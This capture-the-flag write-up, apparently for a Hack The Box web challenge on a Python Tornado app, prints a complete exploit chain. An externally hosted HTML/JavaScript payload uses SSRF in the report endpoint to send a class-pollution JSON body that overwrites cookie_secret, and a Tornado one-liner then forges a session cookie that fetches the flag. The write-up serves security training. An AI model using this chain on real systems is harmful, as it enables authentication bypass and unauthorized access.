Challenge TornadoService
This challenge consists of exploiting a Server-Side Request Forgery (SSRF) vulnerability in the report functionality and the solution consists of using a Class Pollution payload hosted externally to alter the application's cookie_secret value, forging a valid session cookie, and accessing the protected endpoint to retrieve the flag.
The analysis of the challenge begins by reviewing the main.py source code, where a class named UpdateTornadoHandler changes the state of machines. This handler is protected by a check is_request_from_localhost, which restricts access to requests originating from 127.0.0.1 or ::1.
def post(self):
self.set_header("Content-Type", "application/json")
if not is_request_from_localhost(self):
self.set_status(403)
self.write(json_response("Only localhost can update tornado status.", "Forbidden", error=True))
return
try:
data = json.loads(self.request.body)
machine_id = data.get("machine_id")
for tornado in self.tornados:
if tornado.machine_id == machine_id:
update_tornados(data, tornado)
self.write(json_response(f"Status updated for {machine_id}", "Update"))
return
self.set_status(404)
self.write(json_response("Machine not found", "Not Found", error=True))
except json.JSONDecodeError:
self.set_status(400)
self.write(json_response("Invalid JSON", "Bad Request", error=True))
def is_request_from_localhost(handler):
if handler.request.remote_ip in ["127.0.0.1", "::1"]:
return True
return False
Further examination of the ReportTornadoHandler class reveals that the ip parameter is concatenated to form a URL pointing to /agent_details. However, the concatenation logic can be bypassed to query arbitrary endpoints, introducing a Server-Side Request Forgery (SSRF) vulnerability.
class ReportTornadoHandler(BaseHandler):
def initialize(self, tornados):
self.tornados = tornados
def get(self):
self.set_header("Content-Type", "application/json")
ip_param = self.get_argument("ip", None)
tornado_url = f"http://{ip_param}/agent_details"
if ip_param and is_valid_url(tornado_url):
bot_thread(tornado_url)
self.write(json_response(f"Tornado: {ip_param}, has been reported", "Reported"))
else:
self.set_status(400)
self.write(json_response("IP parameter is required", "Bad Request", error=True))
To access the protected /stats endpoint, a valid session is required. The users and their passwords are generated randomly, making brute-forcing impractical.
USERS = [
{
"username": "lean@tornado-service.htb",
"password": generate(32),
},
{
"username": "xclow3n@tornado-service.htb",
"password": generate(32),
},
{
"username": "makelaris@tornado-service.htb",
"password": generate(32),
}
]
However, the update_tornados function in general.py recursively merges objects. This pattern is vulnerable to Class Pollution, which can be exploited to overwrite application settings.
def update_tornados(tornado, updated):
for index, value in tornado.items():
if hasattr(updated, "__getitem__"):
if updated.get(index) and type(value) == dict:
update_tornados(value, updated.get(index))
else:
updated[index] = value
elif hasattr(updated, index) and type(value) == dict:
update_tornados(value, getattr(updated, index))
else:
setattr(updated, index, value)
The application initialization sets up a cookie_secret using a randomly generated value. If this secret is overwritten via the Class Pollution vulnerability, arbitrary session cookies can be forged.
def make_app():
settings = {
"static_path": os.path.join(os.path.dirname(__file__), "static"),
"cookie_secret": generate(32),
"default_handler_class": NotFoundHandler,
"autoreload": True
}
return tornado.web.Application([
(r"/", IndexHandler),
(r"/get_tornados", GetTornadosHandler, dict(tornados=TORNADOS)),
(r"/update_tornado", UpdateTornadoHandler, dict(tornados=TORNADOS)),
(r"/report_tornado", ReportTornadoHandler, dict(tornados=TORNADOS)),
(r"/login", LoginHandler),
(r"/stats", ProtectedContentHandler),
(r".*", NotFoundHandler),
], **settings)
To execute the exploit, a malicious HTML file containing JavaScript is crafted. This script sends a POST request to http://localhost:1337/update_tornado from the context of the SSRF bot, modifying the global APP.settings.cookie_secret to "pwned" via the __class__, __init__, and __globals__ attributes.
$ cat exploit/exploit.html
<!DOCTYPE html>
<html>
<head>
<title>Exploit SSRF</title>
</head>
<body>
<script>
fetch("http://localhost:1337/update_tornado", {
method: "POST",
mode: "no-cors",
headers: {
"Content-Type": "text/plain"
},
body: JSON.stringify({
"machine_id": "host-4455",
"status": "XD",
"__class__": {
"__init__": {
"__globals__": {
"APP": {
"settings": {
"cookie_secret": "pwned"
}
}
}
}
}
})
})
.then(res => console.log("Blind payload sent"))
.catch(err => console.error("Error:", err));
</script>
</body>
</html>
The payload is hosted on an external server and verified to be accessible.
$ curl -X GET https://attacker.github.io/TornadoService/exploit.html
<!DOCTYPE html>
<html>
<head>
<title>Exploit SSRF</title>
</head>
<body>
<script>
fetch("http://localhost:1337/update_tornado", {
method: "POST",
mode: "no-cors",
headers: {
"Content-Type": "text/plain"
},
body: JSON.stringify({
"machine_id": "host-4455",
"status": "XD",
"__class__": {
"__init__": {
"__globals__": {
"APP": {
"settings": {
"cookie_secret": "pwned"
}
}
}
}
}
})
})
.then(res => console.log("Blind payload sent"))
.catch(err => console.error("Error:", err));
</script>
</body>
</html>
The SSRF vulnerability is then triggered by reporting the malicious URL to the /report_tornado endpoint, appending a ? character to effectively drop the hardcoded /agent_details path.
GET /report_tornado?ip=attacker.github.io/TornadoService/exploit.html? HTTP/1.1
Host: 154.57.164.64:30811
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: */*
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Referer: http://154.57.164.64:30811/
Sec-GPC: 1
Connection: keep-alive
Priority: u=0
The server confirms the URL has been processed by the bot.
HTTP/1.1 200 OK
Server: TornadoServer/6.4.1
Content-Type: application/json
Date: Mon, 06 Jul 2026 16:04:37 GMT
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Access-Control-Allow-Headers: Content-Type, Authorization, x-requested-with
Etag: "2c61a315e8741964aa4244c9fc146a25d171744f"
Content-Length: 140
{
"success": {
"type": "Reported",
"message": "Tornado: attacker.github.io/TornadoService/exploit.html?, has been reported"
}
}
With the cookie_secret now predictably set to "pwned", a virtual environment is created to generate a valid session cookie for the user makelaris@tornado-service.htb.
$ python3 -m venv venv
$ source venv/bin/activate
$ pip install tornado==6.4.1
Collecting tornado==6.4.1
Using cached tornado-6.4.1-cp38-abi3-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl.metadata (2.5 kB)
Using cached tornado-6.4.1-cp38-abi3-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl (436 kB)
Installing collected packages: tornado
Successfully installed tornado-6.4.1
A short Python script leverages the tornado.web module to construct the forged session cookie.
$ python3 -c "import tornado.web; print(tornado.web.create_signed_value('pwned', 'user', 'makelaris@tornado-service.htb').decode('utf-8'))"
2|1:0|10:1783353960|4:user|40:bWFrZWxhcmlzQHRvcm5hZG8tc2VydmljZS5odGI=|1016fc8098777e9e3ceffa03f7f33f7bce9b48bbfe3115e6ce4faa874a242369
Using the forged token, a request is made to the /stats endpoint to retrieve the flag.
GET /stats HTTP/1.1
Host: 154.57.164.64:30811
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:152.0) Gecko/20100101 Firefox/152.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-MX,es;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate
Sec-GPC: 1
Connection: keep-alive
Cookie: user=2|1:0|10:1783353960|4:user|40:bWFrZWxhcmlzQHRvcm5hZG8tc2VydmljZS5odGI=|1016fc8098777e9e3ceffa03f7f33f7bce9b48bbfe3115e6ce4faa874a242369
Upgrade-Insecure-Requests: 1
Priority: u=0, i
The application successfully authenticates the request, revealing the final flag.
HTTP/1.1 200 OK
Server: TornadoServer/6.4.1
Content-Type: application/json
Date: Mon, 06 Jul 2026 16:08:29 GMT
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Access-Control-Allow-Headers: Content-Type, Authorization, x-requested-with
Etag: "5fab7d2b46e53c3d5a17e2a984ec08a52943c3d7"
Content-Length: 82
{
"success": {
"type": "Success",
"message": "HTB{FLAG}"
}
}